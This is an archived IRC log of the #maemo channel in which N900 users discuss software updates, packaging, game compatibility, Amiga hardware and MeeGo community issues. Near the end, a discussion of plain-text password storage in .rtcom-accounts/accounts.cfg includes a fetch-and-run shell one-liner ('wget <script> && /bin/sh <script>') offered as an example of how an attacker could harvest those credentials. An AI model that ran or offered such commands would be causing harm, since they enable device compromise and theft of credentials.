IRC log of #maemo for Thursday, 2010-10-28

ioan	well, looks like webos is just the same... but they got the games	00:00
achipa	that's not a fail, that's a win	00:00
achipa	:)	00:00
ioan	I agree achipa	00:00
MohammadAG	achipa, not for paid devs	00:00
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MohammadAG	I don't give a crap really, games are for PCs/consoles :P	00:00
achipa	MohammadAG: it's so easy to jailbreak/root/sideload nowadays that it makes no difference	00:00
MohammadAG	I enjoy PSP games more than iPhone ones	00:00
ioan	for PCs! not consoles :-)	00:01
MohammadAG	consoles are full of win	00:01
MohammadAG	PCs are for FPSs	00:01
MohammadAG	play burnout on a PC, it's fail	00:01
achipa	MohammadAG: if it's painless enough to buy the app (which wasn't necessarily the case ;) DRM doesn't matter	00:01
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ioan	my son is playing fallout new vegs on his 360 and I'm playing on pc... there is no comparation between the two :-)	00:02
achipa	MohammadAG: consoles must pick up pace as in a generation or two phones will take over	00:02
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DocScrutinizer	ioan: pre is carrier supported, so possible 100 tmes the selling of N900	00:03
DocScrutinizer	though I heard n900 is supported by vodafone UK	00:03
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ioan	DocScrutinizer, you right	00:03
DocScrutinizer	or has been temporraily	00:03
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MohammadAG	achipa, gameplay on phones fails	00:04
ioan	is the vodafone 900 locked?	00:04
DocScrutinizer	nope	00:04
ioan	n900	00:04
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DocScrutinizer	or, maybe yes	00:04
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DocScrutinizer	dunno	00:04
DocScrutinizer	I seem to recall simlocked or carrierlocked N900 ofers on ebaeh	00:04
achipa	MohammadAG: in what way is gameplay different on a phone than on a console ? Remember, we're talking about the era of WiDi, bluetooth controllers, etc	00:05
KaffeeJunky123	I want man on my n900 :P	00:05
MohammadAG	install man-db-n900	00:05
KaffeeJunky123	Thx	00:05
DocScrutinizer	KaffeeJunky123: courtesy MohammadAG	00:06
MohammadAG	the post died, http://talk.maemo.org/showthread.php?p=703347 :/	00:06
DocScrutinizer	;-D	00:06
DocScrutinizer	MohammadAG: err wut?	00:06
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DocScrutinizer	RIP post!	00:06
MohammadAG	install less though, I'm not sure if I fixed that yet :P	00:06
DocScrutinizer	hehe	00:07
MohammadAG	Depends: groff-base, debconf (>= 1.2.0) \| debconf-2.0, dpkg (>= 1.9.0), libc6 (>= 2.5.0-1), libgdbm3, zlib1g (>= 1.2.1), man-db-pages	00:07
MohammadAG	nope	00:07
DocScrutinizer	prolly everybody incl me testing it had already ;-P	00:07
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DocScrutinizer	MohammadAG: FAILWALE	00:07
* DocScrutinizer spanks MohammadAG		00:07
* MohammadAG calls fellow terrorists		00:08
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KaffeeJunky123	Apt-get cant find man-db-n900 :(	00:08
DocScrutinizer	btw why less? shouldn't any $PAGER do?	00:08
MohammadAG	-devel	00:08
MohammadAG	sure, I suppose	00:08
KaffeeJunky123	I'm at my phone btw :)	00:08
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DocScrutinizer	:-D	00:08
* MohammadAG invades bermuda triangle		00:08
* MohammadAG finds PR1.3.3.7		00:09
DocScrutinizer	ROTFL	00:09
MohammadAG	so that's why people never come out...	00:09
V-ille	man-db-n900 gives a lot of warnings about dangling symlinks	00:09
V-ille	is that problematic?	00:09
MohammadAG	no, ignore them	00:09
DocScrutinizer	MUUUUUUHaha	00:09
* MohammadAG spanks ubuntu for having them		00:09
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MohammadAG	suppose I have -rw-r--r-- 1 root root 255 2010-01-20 17:38 FcConfigCreate.3.gz	00:10
DocScrutinizer	http://wiki.maemo.org/User:Joerg_rw/tools for your convenience	00:10
MohammadAG	how do I only get FcConfigCreate.3.gz output?	00:11
MohammadAG	regexes, need to learn those	00:11
DocScrutinizer	regex?	00:11
MohammadAG	nvm, dump the idea	00:11
* MohammadAG remembers when he 'ported' man-db		00:12
javispedro	hey, I teach regexes in real life	00:12
DocScrutinizer	easy - [^ ]$	00:12
DocScrutinizer	err	00:12
DocScrutinizer	easy - [^ ]*$	00:12
MohammadAG	javispedro, was a bit of a pessimist back then :P	00:12
javispedro	gitorious gave me a "guru meditation" isitdownforeveryoneorisjustme?	00:12
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KaffeeJunky123	Is there anything similar to apt-file on maemo?	00:13
lbt	zero-width-lookahead-assertions 4ever	00:13
MohammadAG	javispedro, it's just everyone	00:13
MohammadAG	:P	00:13
DocScrutinizer	downforeverybodyorjustme.com	00:13
MohammadAG	~isitdown	00:13
infobot	[isitdown] http://downforeveryoneorjustme.com/	00:13
MohammadAG	:P	00:13
DocScrutinizer	:-P	00:13
javispedro	I doubt it can parse "guru meditations"	00:13
javispedro	but.... checks it it does	00:14
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MohammadAG	javispedro, it's down for me	00:14
javispedro	i guess it's sending 503 as http error code or sth	00:14
V-ille	so cool to have groff on the device	00:14
MohammadAG	wanted some meego stuff :/	00:14
DocScrutinizer	damn, no stinking fart knows what it means nowadays	00:14
V-ille	oh, gpic too	00:14
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lbt	DocScrutinizer: what? the guru?	00:14
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DocScrutinizer	GURU MEDIATION ERROR 0XFF26D418	00:15
lbt	Agnus is ill :)	00:15
DocScrutinizer	lol	00:15
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DocScrutinizer	denise hand over some glass of water	00:16
* lbt married denise		00:16
lbt	and she has copper hair ;)	00:16
DocScrutinizer	and her shirt id full of blitter	00:16
jacktheripper	javispedro, hey, I noticed you maintain preenv. I saw this screenshot on the forum showing The Sims 3 with messed up orientation and resolution. If it's fixed now, is it possible for 'Galcon' to be fixed the same way ? It runs in landscape while the controls are in portrait.	00:17
lbt	oh yea	00:17
javispedro	jacktheripper: two things. if it's portrait, check if you are running 0.1.1 or latter. if it still does not work, try to guess wheter it is a plain SDL, GLES1 or GLES2 application (look which libraries it links with)	00:18
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jacktheripper	javispedro, it's SDL, and I'm running 0.1.1.	00:18
javispedro	jacktheripper: SDL-only is known not to work	00:19
* DocScrutinizer still remembers the 4 layers of piggybacked RAM, was fun to solder		00:19
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jacktheripper	javispedro, actually, the logs show SDL_GLES. I haven't noticed that before, sorry.	00:19
ShadowJK	DocScrutinizer, hey I get a solid yellow screen when I try boot, any idea what that means?	00:19
javispedro	/quit #amiga	00:20
ShadowJK	And it's not the yellow guru meditation	00:20
DocScrutinizer	only in 2nd build A1000	00:20
javispedro	;P	00:20
DocScrutinizer	hehe	00:20
DocScrutinizer	ShadowJK: ouch	00:20
DocScrutinizer	ShadowJK: means you're screwed?	00:20
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ShadowJK	:-(	00:20
DocScrutinizer	ShadowJK: Hook up TV!	00:21
DocScrutinizer	immediately	00:21
ShadowJK	wha	00:21
javispedro	jacktheripper: search for "major version" in the log	00:21
DocScrutinizer	FPC borked?	00:21
ShadowJK	dude I'm talking about my Amiga 500	00:21
DocScrutinizer	oooh	00:21
DocScrutinizer	man!	00:21
jacktheripper	javispedro, 'Requested GL major version 1'	00:22
DrWilken	could someone with std PR1.3 do this for me: md5sum /usr/lib/browser/plugins/libflashplayer.so	00:22
merlin1991	gimme sec DrWilken	00:22
javispedro	jacktheripper: so it is a OpenGL ES 1 game but the rotation hack is failing. No chances I fix it unless I decide to buy the game.	00:22
javispedro	(or I develop a much slower, lower quality, less hacky way to rotate...)	00:23
ShadowJK	(RIP)	00:23
merlin1991	DrWilken, 180e59a335686fa6730b9299d62f724f	00:23
DrWilken	thx merlin1991	00:24
jacktheripper	javispedro, I could mess with it a little if you tell me about the rotation hack story :)	00:24
DocScrutinizer	ShadowJK: wait, you're getting an all yellow screen on TV out Amiga500?	00:24
ShadowJK	yes	00:24
DocScrutinizer	:-S	00:24
DrWilken	can't verify it on adobe's test site for some reason	00:24
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javispedro	jacktheripper: it is a carefully constructed set of lies about size of screen. the hack part comes from the redefinition of the GL identity projection matrix.	00:25
DocScrutinizer	agnus/debise boked?	00:25
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DocScrutinizer	agnus/denise borked?	00:25
DocScrutinizer	or general bus fault - check extension cards etc	00:26
DocScrutinizer	sorry this is like decades back - not quite a fresh memory	00:26
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jacktheripper	javispedro, Ah. The game looks like it plays in portrait because it's pretty stretched. Are you CWing all GLES apps ?	00:27
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javispedro	jacktheripper: all GLES1 _scenes_. maybe that scene is not generated with OpenGL but directly blitted to screen.	00:27
DocScrutinizer	hehe	00:28
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DocScrutinizer	this starts to be fun here	00:28
javispedro	DocScrutinizer: #maemo, the channel where you can both talk about #amiga and #webos =)	00:28
ShadowJK	DocScrutinizer, yeah I think google said it was agnus fault :/	00:28
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ShadowJK	hm. This $5-ish eastmaze external BL-5J has ominous bright purple glow	00:29
* ShadowJK wonders if it's supposed to turn not-purple after charging done		00:29
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teilzeitstudent	does anyone happen to know the name of the program that allows you to have more than 4 desktop screens?	00:29
DocScrutinizer	nah, it's supposed to coremelt after charge finished	00:29
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javispedro	i'd start calling the fire brigade	00:30
steinex	maybe i'm just to dumb but since that seems to be still not fixed: how can i save a preset-presence in the im-client WITH a status message? whats the point in adding a preset with a football just to tell that please dnd?	00:30
ShadowJK	maybe I should put it in my lipo safe sack	00:30
steinex	thats totally braindead	00:30
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DocScrutinizer	in TPE at OM somebody showed me a "charger" that's been so flimsy and thin I'd be surprised if there's been much more in it than a capacitor and diode from the mains contacts to the long battery springs	00:32
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ShadowJK	lol	00:32
ShadowJK	Well some of them are built using the protection circuits	00:32
steinex	am i really the only one who isn't bothered by that?	00:33
DocScrutinizer	anyway I was honestly scared to touch the thing, even far away from any mains outlet	00:33
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jacktheripper	javispedro, could you where the rotation code is in the preenv source ?	00:34
jacktheripper	s/could you/could you tell me/	00:34
infobot	jacktheripper meant: javispedro, could you tell me where the rotation code is in the preenv source ?	00:34
javispedro	jacktheripper: sdlgl.c, many functions.	00:35
jacktheripper	ok	00:35
DocScrutinizer	javispedro: you HAX0R!	00:35
javispedro	that will bit me sooner or later, but at least it's true it was done in an afternoon =)	00:37
DocScrutinizer	aiui it already bitten you right in the PM	00:37
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javispedro	shouting at users seems to work, as the latest PM actually contained a gdb backtrace... unfortunately, without debug symbols...	00:38
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DocScrutinizer	gnhnhnhn	00:39
DocScrutinizer	~debian $USER	00:39
* infobot tells $USER to RTFM!!!! GAH!!! HELL FIRE AND BRIMSTONE!!!! BURN!!! DIE!!! MWAHAHAHAHA!!!!		00:39
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javispedro	heh	00:39
sivang	amazing, you are all still here :)	00:40
javispedro	those Debianites know how to party	00:40
DocScrutinizer	""please send coredumps!""	00:40
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sivang	javispedro: hehehe	00:40
sivang	javispedro: who are those debianites?	00:40
javispedro	Debian-ites (I guess I used the wrong gentilice)	00:41
sivang	javispedro: you mean debian developers? :)	00:41
javispedro	yep	00:41
* DocScrutinizer kicks infobot into the guts		00:41
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DocScrutinizer	~dict gentilice	00:41
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infobot	could not find definition for gentilice	00:42
DocScrutinizer	ooh	00:42
javispedro	hmm..	00:42
javispedro	~dict gentilic	00:42
infobot	could not find definition for gentilic	00:42
javispedro	~dict demonym	00:42
infobot	could not find definition for demonym	00:42
* javispedro kicks infobot into the guts		00:42
DocScrutinizer	~dict cow	00:42
infobot	Dictionary 'cow' (1 of 11): \Cow\, v. t. [imp. & p. p. {Cowed} (koud); p. pr. & vb. n. {Cowing}.] [Cf. Icel. kuga, Sw. kufva to check, subdue, Dan. kue. Cf. {Cuff}, v. t.] To depress with fear; to daunt the spirits or courage of; to overawe. [1913 Webster] To vanquish a people already cowed. --Shak. [1913 Webster] THe French king was cowed. --J. R. Green. [1913 Webster].	00:42
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DocScrutinizer	at least no more "alarm at 52, foobar() botked couldn't talk"	00:42
javispedro	~evilbot	00:43
DocScrutinizer	[2010-10-26 06:37:15] <DocScrutinizer> ~dict beer	00:43
DocScrutinizer	[2010-10-26 06:37:26] <infobot> i could not get info from dict.org 'alarm at /home/ibot/infobot/src/Modules/Dict.pl line 42.	00:43
DrWilken	I've got an empty list of plugins in MicroB (Options > Add-Ons). Any ideas?	00:43
DocScrutinizer	cough	00:44
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DocScrutinizer	ping the only expert on this planet: timeless	00:44
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DrWilken	I've tried re-installing osso-browser and plugins too.	00:45
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javispedro	try typing "about:plugins" in URL	00:47
DrWilken	same :/ no plugins installed	00:48
javispedro	if nothing's listed there I can only think of installing syslog, and checking what does it say when running browser	00:48
DrWilken	ok, i'll give it a go. just thought I could make it re-read/reset it's config somehow.	00:49
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* sivang wonders what people are still doing here.		00:50
javispedro	where do you want us to go?	00:51
dolppp	installed latest linux version of nokia qt sdk and madde doesnt seem to have pr13 target in it.. windows version had it there	00:52
nox-	moin	00:52
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DocScrutinizer	sivang: why? you're also here, what are you doing? :-D	00:54
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sivang	DocScrutinizer: I'm totally lifleless and a Nokia fanboy :-P	00:54
DrWilken	GLIB CRITICAL ** Gtk - gtk_widget_set_sensitive: assertion `GTK_IS_WIDGET (widget)' failed	00:54
javispedro	ignore.	00:54
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DocScrutinizer	I hate that one	00:54
sivang	DocScrutinizer: A girl 32 years old, (I'm 32 as) hid the fact she has a 11 year old girl. She insisted for us to meet last night,	00:55
DrWilken	SET_ACTIVE:0x61028, 0->1, is_layout_active:0, ChangeSusp:TRUE	00:55
sivang	DocScrutinizer: so I went , met her, and today she texted me "from my side this is not it" :)	00:55
DrWilken	the rest looks ok	00:55
sivang	javispedro: don't go anywhere, your Debianties partying comment rolled me on the floor	00:56
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javispedro	heh	00:56
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sivang	javispedro: I used to once know some that could party by drinking and playing 'Mao' card games all night long	00:57
sivang	back then, in 2004	00:57
sivang	I was young and handsome :-p	00:58
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DocScrutinizer	sivang: (rolled on floor) what till we start talking funny	00:58
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DrWilken	any ideas? besides contacting timeless? :)	00:58
javispedro	virgin sacrifice?	00:59
sivang	HAHA	00:59
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sivang	javispedro, DocScrutinizer : if I cross post to meego/maemo will you kindly respond to my email? I want to start getting "data" for my talk and what happened today with docs is relevant	00:59
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DocScrutinizer	DrWilken: I recall there's been such problem on some PR1.0.1 which turned out to be stale symlinks or sth	00:59
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javispedro	DrWilken: to me sounds like you should check if all your plugins' library dependencies are satisfied	01:00
javispedro	but at this point I'm completely biased about Libraries, Libraries, Libraries.	01:00
sivang	(any others are ofcourse wlecome, there's a sense that Maemo people won't really flow to join MeeGo so fast and I think this can be helped if we communicate what we need structurly)	01:00
DrWilken	thx for the suggestions :)	01:00
DocScrutinizer	sivang: I'm awfully lazy at mail	01:00
kerio	libraries libraries libraries	01:00
javispedro	sivang: depend on what you ask =)	01:00
sivang	javispedro: I am going to ask you, actually, to take out all your anger, sarcasm and discontent with how the project went and with the bad stuff that currently prvent maemoer for happily joining meego to be tossed at my drection :)	01:01
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sivang	so I can , after recovering from the wounds collect it and prepare it to be some basis for a talk of what needs to be done to not repeat mistakes.	01:02
DocScrutinizer	DrWilken: anyway iirc back when not even reinstalling microb helped	01:02
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sivang	http://conference2010.meego.com/session/creating-first-choice-open-source-mobile-platform-learning-mistakes-past-and-beyond	01:02
GAN900	sivang, good plan.	01:02
DocScrutinizer	kerio: developers developers developers developers developers	01:02
sivang	hahaha	01:03
sivang	exactly	01:03
sivang	we can change this according to the day's thee	01:03
sivang	theme	01:03
GAN900	sivang, somebody should clearly point JAFFA in your direction.	01:03
sivang	that's andrew flagg right?	01:03
GAN900	I think it's too late, though	01:03
sivang	he just vainshed someday	01:03
GAN900	Yeah	01:03
DrWilken	thx for the info DocS. I'll dig deeper... :)	01:03
* DocScrutinizer throws a http://www.youtube.com/watch?v=KMU0tzLwhbE at kerio		01:04
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sivang	I ofcourse have already my take, and some observations and am going to ask that input as well during the talk (that's one of its purposes) but would be ncie to have some more thought from Maemo people , who shoud have been the basis for MeeGO	01:04
javispedro	GAN900: Jaffa vanished? :S	01:04
sivang	*MeeGo	01:04
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DocScrutinizer	~seen jaffa	01:05
sivang	DocScrutinizer: is he sweating there? :)	01:05
infobot	jaffa is currently on #maemo (2d 4h 48m 19s) #meego (2d 4h 48m 19s), last said: 'MohammadAG: Any chance of a fremantle-1.3.1 with the Modest patches?'.	01:05
DocScrutinizer	she's thinking	01:05
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javispedro	DocScrutinizer: btw, love the first comment: "Deodorant Deodorant Deodorant!"	01:06
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DocScrutinizer	hehehe	01:07
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sivang	I don't want to email him directly, feels like spamming, so I'll fire off the thread to meego and maemo and try to draw his attention to t	01:07
ShadowJK	sivang, so what do you think about the subject?	01:07
GAN900	javispedro, he makes me do mwkn every Sunday. :(	01:07
DocScrutinizer	being with microsoft must be darn grueling	01:08
GAN900	sivang, council@maemo.org	01:08
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javispedro	GAN900: he was quite busy lately, I found	01:08
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* javispedro hides		01:08
sivang	GAN900: ok, thanks will do.	01:08
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* GAN900 highfives javispedro.		01:09
GAN900	Guess what we don't have to do?	01:09
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sivang	ShadowJK: well, there's lots of things as observations, but for me as being still mostly on the user there's unfortunate UI decisions, lack of proper official documentation, development offering disconnected from real world (as I learned from thp and his experience on cross development) etc	01:10
javispedro	GAN900: :P	01:10
sivang	ShadowJK: for most of te things I do not know the root reason or cause, as I havenot been enough with the Mameo community as a developer, but as a user...	01:10
javispedro	sivang: "disconnection with the real world" is nearly a Nokia core rule =)	01:11
redoubtable	~pr1.3	01:11
infobot	pr1.3 is, like, the latest (and probably last) software update for Fremantle, available since Monday October 25 2010. More information at http://conversations.nokia.com/2010/10/25/new-nokia-n900-software-update-available/ -- see ~flashing for how to update, or http://repository.maemo.org/stable/fremantle/Maemo_5_SDK_Release_Notes_v1_7_en.txt, or http://mg.pov.lt/maemo-irclog/%23maemo.2010-10-26.log.html#t2010-10-26T03:02:54	01:11
sivang	ShadowJK: tagging severe usability bugs as wontfix (as I found trough my poor experience with th eupgrade) and more	01:11
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DocScrutinizer	trolls! :-P	01:11
sivang	hehe	01:11
mikhas	"connecting people/disconnecting universe"	01:12
ShadowJK	sivang, as mostly a user, and 30 minutes developer per week, I'm maemo because it's actually usable for me right now. Moving to MeeGo just means I have to find new ways to work around these "unfortunate decisions" of varying kind, and also just working around differencies.	01:12
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mikhas	I dont think that will fly as the new company slogan	01:12
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ShadowJK	btw speaking of thp, I wonder if there'll be a gpodder in MeeGo seeing as there'll be no gtk?	01:12
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ShadowJK	gpodder is one of my favourite apps :-(	01:12
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sivang	ShadowJK: He's waiting for PySide to support MTF	01:13
sivang	ShadowJK: properly	01:13
sivang	ShadowJK: he already did a prototype in C++	01:13
DocScrutinizer	mikhas: heh, yesterday DrHouse reunited 2 brothers by playing their common enemy. Seems Nokia aims at the same for "people"	01:13
javispedro	sivang: I guess the interface guidelines where written on stone tablets (like God's Ten Commandments), because they have not been changed since the first release on Forum Nokia.	01:13
ShadowJK	sivang, so it's a full rewrite more or less	01:13
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javispedro	sivang: so, they follow those "guidelines" to the letter, never change them => usability failures are marked as WONTFIX	01:14
trumee	tweak flash working great now	01:14
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mikhas	PySide support for MTF? ambitious ;-)	01:15
sivang	ShadowJK: check his blog, he has a welath of info there, he also was kind to link it from my meego/symbian cross devel page on meego wiki	01:15
* ShadowJK also has no clue how to install obs.. actually I have no clue how to install sb either.. i just used the vm		01:15
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ShadowJK	yeah I wish firefox would come back to life in less than 5 minutes	01:16
ShadowJK	I need more ram	01:16
ShadowJK	apparently 8g isn't enough anymore :/	01:16
DocScrutinizer	javispedro: sounds somewhat familiar to ex OM employees :-/	01:16
javispedro	sivang: I am soooooo going to your talk	01:16
sivang	javispedro: please DO come, I will wear an armed vest	01:17
sivang	:)	01:17
GAN900	We're all bringing popcorn.	01:17
sivang	ShadowJK: http://paste.pocoo.org/show/282447/	01:17
sivang	GAN900: please be gentle with the tomatos okay?	01:18
DocScrutinizer	ShadowJK: It's maxed out at managing mmu tables :-P	01:18
javispedro	Enable 4MiB pages!	01:18
ShadowJK	that'll just make swapping worse I bet	01:18
* javispedro needs to hear that Developers,Developers,Developers rap again		01:18
sivang	javispedro: I will ask timeless to do it for you on our talk :)	01:19
DocScrutinizer	ShadowJK: SWAPPINESS?? on (GiB RAM??	01:19
DocScrutinizer	8 even	01:19
javispedro	sivang: hehe	01:19
ShadowJK	YES	01:19
DocScrutinizer	what the hell are you running on that iron?	01:20
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javispedro	21st century pr0n?	01:20
sivang	heh	01:20
DocScrutinizer	bubblesort on phonebook of mexico city?	01:20
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sivang	javispedro: alien women included?	01:20
javispedro	:P	01:21
ShadowJK	no a bubblesort is actually very cache friendly	01:21
ShadowJK	;)	01:21
ShadowJK	it's streaming	01:22
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DocScrutinizer	and what in streaming needs >8GB ram?	01:22
ShadowJK	exactly	01:23
DocScrutinizer	so you needed some swap	01:23
DocScrutinizer	is your streaming server caching the whole DVD, or what?	01:24
DocScrutinizer	even reading ahead the next one?	01:24
crashanddie	no, they wanted ultimate quality	01:24
ShadowJK	I meant bubblesort is like streaming	01:24
crashanddie	so they re-encoded their DVD's as H264 1080p	01:25
DocScrutinizer	lol	01:25
javispedro	crashanddie: in 3D! at 25fps!	01:25
crashanddie	javispedro: ON ICE!	01:25
DocScrutinizer	still no need for 8GB plus swap on top	01:25
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javispedro	maybe it's a 8GiB per second stream	01:25
* DocScrutinizer shudders		01:26
javispedro	21st century pr0n!	01:26
DocScrutinizer	omfg	01:26
DocScrutinizer	holographic pr0n	01:26
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sivang	ohh holographic	01:27
sivang	add touch support	01:27
javispedro	5 tracks is too much, too many collisions :S	01:27
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javispedro	(on meego conf)	01:28
* javispedro goes find the old human-replicator he used to attend his colliding uni lectures		01:28
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sivang	javispedro: yes, somewhat problematic, too many intresting things to miss	01:28
sivang	javispedro: for colliding uni lectures there are video lectures no? we had them, they used to be better than the live lectures	01:29
DocScrutinizer	javispedro: you forgot? you sold it to raster	01:29
javispedro	well, I hope that the Linux foundation does a better job recording all session than "previous events"	01:29
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javispedro	DocScrutinizer: is he using it for evil-doing? Then he can keep it.	01:30
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DocScrutinizer	I've seen raster chatting with himself, on 3 concurrent irc channels ;-D	01:31
javispedro	~tell infobot about raster	01:32
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DocScrutinizer	I wonder which sorta segfault this induces	01:32
crashanddie	~tell infobot about tell infobot	01:32
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Arkanaic	hi folks	01:32
crashanddie	<infobot> Isn't that a bit silly?	01:33
crashanddie	:)	01:33
DocScrutinizer	can I get a coredump of the coredump, please?	01:33
javispedro	hi	01:33
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crashanddie	hey Arkanaic	01:33
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DocScrutinizer	YAAaaWn..naic	01:34
dolppp	hehee.. nokia qt sdk updater thing freezed and now i cant even kill the process from task manager. loving it!	01:34
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DocScrutinizer	ummm... task manager?	01:35
DocScrutinizer	wtf is that?	01:36
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Arkanaic	ps ax ;)	01:36
dolppp	you know windows task manager :D	01:36
dolppp	:D	01:36
javispedro	~tell DocScrutinizer about bill gates	01:36
DocScrutinizer	actually no	01:36
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sivang	that man is poss-essed	01:37
sivang	seriously	01:37
DocScrutinizer	uuh that DOS gfx extention	01:37
sivang	dolppp: I would recommend opening a bug about that,	01:38
sivang	dolppp: for me, this is the same like network download- it almost never worked	01:38
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javispedro	"Russia to create Windows rival" --- http://news.yahoo.com/s/afp/20101027/tc_afp/russiagovernmentinternet	01:38
DocScrutinizer	YEAHHHH! \o/	01:38
DocScrutinizer	yet another DOS gfx extension	01:39
javispedro	"We will become independent of Windows ... but it risks becoming an unthinking implantation of Linux," he added.	01:39
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* javispedro checks if this is the onion news network...		01:39
sivang	dolppp: and there's a very rude bug in progress indication, when it starts to download the maemo cross tool chain roots, it reports it is only one precent change at the start and then you wait for ever like a dumb for it to move forward, which it will only after finishing a very large download	01:39
DrWilken	FYI - rm -rf ~/.mozilla/microb did the trick - all plugins available now	01:39
DrWilken	it's autogenerated when starting microb	01:40
DocScrutinizer	hehe	01:40
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DrWilken	:)	01:40
DocScrutinizer	now that you tell me, I seem to remember	01:40
* ShadowJK wonders how you buy something from someone's amazon wishlist so that it gets shipped to them		01:41
chem\|st	where is the account config stored again? gconf?	01:41
DrWilken	well I did it once or twice before and I didn't even remember :)	01:41
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DrWilken	chem\|st - same place :)	01:42
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sivang	dolppp: I wanted to report that, but the qt bug tracker mademe surrender after a while	01:42
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DrWilken	afair	01:42
DDRFAN	Hey Mohammad, are you there?	01:42
chem\|st	DrWilken: gconf?	01:42
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chem\|st	DrWilken: seems I am blind again..	01:43
DrWilken	nope. ~/.mozilla/microb/key3.db maybe?	01:43
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DrWilken	or signons.sqlite? :)	01:44
chem\|st	DrWilken: what are you are about?	01:44
chem\|st	maemo "Accounts" wont be stored in .mozilla!	01:44
DrWilken	haha... :)	01:45
DocScrutinizer	what type of account?	01:45
chem\|st	DocScrutinizer: "Accounts" like skype jabber etc	01:45
DocScrutinizer	lol	01:45
DrWilken	gotta sleep... c ya'll	01:45
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DocScrutinizer	I got NFC but take any bet skype != jabber	01:46
* chem\|st is wondering if there is another "Accounts" in maemo...		01:46
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DocScrutinizer	user accounts	01:46
DocScrutinizer	SIP accounts	01:46
DocScrutinizer	telepathy accounts	01:46
fcrochik	Chewtoy: are you looking for the telepathy accounts? they are stored a sqllite db	01:46
DocScrutinizer	webbased HTML foo "accounts"	01:46
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fcrochik	chem\|st: are you looking for the telepathy accounts? they are stored a sqllite db	01:47
chem\|st	DocScrutinizer: yes... serious question is there another "Accounts"?	01:47
sivang	javispedro: btw, the advisory board for ui guidelines has recently been re-elected	01:47
chem\|st	fcrochik: I did edit a textfile with the login details in pr1.2 and forgot about it! dont want to grep the whole thing	01:48
Chewtoy	Eh... I assume that was a wrong highlightning.	01:48
fcrochik	Chewtoy: yes...sorry!	01:48
DocScrutinizer	what do you want to hear? result from "strings /* \| grep Accounts"?	01:48
Chewtoy	fcrochik: Yeah. No problems. Just a tad surprised. :P	01:48
sivang	javispedro: I got the note since FNC program sent a request to champions to see who wants to participates, but they had enough voulenteers. I wonder how we can commmunicate with them once they have finsihed to offer input on the new guidelines.	01:49
chem\|st	DocScrutinizer: oh I am sorry I have there a semicolon missing in my code....	01:49
sivang	javispedro: err, actually to be more precies, this was for an advisory board for a quick gude to guidelines	01:49
DDRFAN	Has anybody installed Mohammad's hildon desktop( The one merged with Matan's, His and thp's? )?	01:49
sivang	javispedro: such that you would be able to employ without having to read 400 pages books	01:49
DDRFAN	on PR 1.3*	01:49
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DocScrutinizer	chem\|st: sorry you completely lost me	01:50
chem\|st	DocScrutinizer: I look for the config for the Accounts as not in user accounts but the details like server and so on	01:50
DocScrutinizer	not that you ever got me	01:50
chem\|st	DocScrutinizer: hehe	01:50
DocScrutinizer	chem\|st: for which service?	01:51
fcrochik	chem\|st: O can't remember where I found them... you can find all the "contacts" for them under /home/user/.osso-abook/db/tp-cache...	01:51
chem\|st	fcrochik: DocScrutinizer .rtcom-accounts/accounts.cfg	01:51
chem\|st	got it	01:51
DocScrutinizer	yeah, that's just one credentials storage	01:51
chem\|st	DocScrutinizer: thought it was all in one sorry	01:52
fcrochik	DocScrutinizer: this is one of the most scary things I found about maemo - how all the passwords are in one place for anybody to grab	01:52
chem\|st	fcrochik: in plain text...	01:52
DocScrutinizer	fcrochik: do you think a bot had more problems gathering them from scattered files?	01:53
chem\|st	ok mschap needs to be plain text	01:53
DocScrutinizer	chem\|st: do you think a bot had more difficulties to decode them than you would	01:53
chem\|st	DocScrutinizer: don't think so but here it is a 30chars line in a shell...	01:53
fcrochik	DocScrutinizer: not really.... but if each telepathy account had it's own place would require a little more work... 5 minutes more	01:53
DocScrutinizer	5ms more, cpu time of the virus	01:54
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chem\|st	DocScrutinizer: if they arent guessable passwords are quiet strong if stored correctly	01:54
DocScrutinizer	5 min more for the legit user	01:54
sivang	DDRFAN: what has this merged hildon-desktop fixed?	01:55
DocScrutinizer	nonsense	01:55
javispedro	hah, some spaniard complaining that nokia care told him the microusb port issue means "out of warranty"	01:55
fcrochik	DocScrutinizer: I got your point... doesn't mean that I have to like all my passwords up for grabs....	01:55
chem\|st	DocScrutinizer: 5min? wget <script> && /bin/sh <script>	01:56
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DocScrutinizer	fcrochik: if I want your passwords and compromised your machine, I do a raw copy and recover passwords later on	01:56
DDRFAN	It's not a fix, its just a modified Hildon desktop. It makes it so you enable 9 desktops, and use 1,2,3,4 to acess the app (in that order). It also lets you use arrows keys to change desktop screens	01:56
DDRFAN	you can*	01:57
sivang	DDRFAN: ah nice, and it is not working on 1.3?	01:57
DocScrutinizer	takes me less time than you need to edit your password on a known obfuscated location and coded rot13	01:57
* sivang haven't upgraded yet since he fears bad things will happen		01:57
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chem\|st	I remember a guy with PGPed emails and a password for the private.key, police had everything private.key, emails but no password, on this example it was shown that it takes years if the password is not guessable	01:58
DDRFAN	Well I couldn't get it to install prior to PR 1.3 anyways. I just stuck with Matan's version without the faster kinetic scrolling and the three collumn task manager	01:58
fcrochik	DocScrutinizer: but you are really mean and really smart...what about all the other people? because any security measure can fail does not mean we don't need any security	01:58
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chem\|st	fcrochik: yes security is as strong as the hacker in front of it	01:59
DocScrutinizer	fcrochik: security by obscurity never worked and always caused people getting annoyed and circumventing even this small bit of security	01:59
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fcrochik	DocScrutinizer: does it mean that you just give away on your web site your credit card number, email passwords?	01:59
DocScrutinizer	e.g it's stongly DEPRECATED to force users to frequently change their passwords as they tend to write them down becuase of frequent changes	02:00
chem\|st	my ram is the only weakness in my desktop's crypt	02:00
DocScrutinizer	fcrochik: my ~ isn't my website	02:00
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JDDRFAN	Sorry, randomly got kicked.	02:00
chem\|st	till some freaking hacker finds a way against all other measures	02:01
JDDRFAN	The link is here : http://mohammadag.xceleo.org/public/maemo/debfiles/matan/thp/	02:01
KaffeeJunky123	is there anyway to get man on pr1.3 xD?	02:01
DocScrutinizer	fcrochik: if you're concerned about your privacy, then create a decent user logon instead of rot13 encoding your password for your bank account	02:01
sivang	fcrochik: just use strongly protected keys	02:01
sivang	fcrochik: all my machines have challange response disabled	02:01
KaffeeJunky123	do I have to add some repository that's hidden somewhere in the wiki?	02:01
DocScrutinizer	crashanddie: au secours	02:01
chem\|st	KaffeeJunky123: for what?	02:02
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crashanddie	DocScrutinizer: wut?	02:02
chem\|st	KaffeeJunky123: ah man ... are you crazy?	02:02
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KaffeeJunky123	chem\|st: man in general	02:02
sivang	JDDRFAN: I did not know this sort of things required 1.3 , interesting	02:02
DocScrutinizer	there are 4: extras, extras-testing, extras-devel, tools	02:02
chem\|st	well some manpages could be usefull	02:02
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KaffeeJunky123	chem\|st: and I'd also like aptitude, apt-get rages me ^^	02:02
